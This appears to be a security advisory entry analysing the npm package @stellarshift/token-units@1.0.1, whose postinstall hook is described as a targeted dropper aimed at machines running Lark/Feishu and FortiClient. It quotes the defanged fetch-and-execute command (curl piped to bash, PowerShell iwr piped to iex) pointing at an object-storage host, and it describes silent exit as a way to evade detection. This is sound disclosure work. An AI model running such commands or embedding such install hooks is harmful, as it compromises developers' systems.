@stellarshift/token-units@1.0.1

Analysis

The postinstall hook (scripts/postinstall.js) of this package is a targeted dropper. On macOS/Windows systems where both the Lark/Feishu chat client and FortiClient VPN are installed, it silently downloads a remote stage1 payload from Tencent COS object storage and executes it: `curl -fsSL 'hxxps://mexc-1258433570[.]cos[.]ap-beijing[.]myqcloud[.]com/abi-tool-damon' | bash` (or PowerShell `iwr ... | iex` on Windows), with output suppressed and the process hidden. On all other systems it exits silently, evading detection. The payload URL is fetched and executed at install time.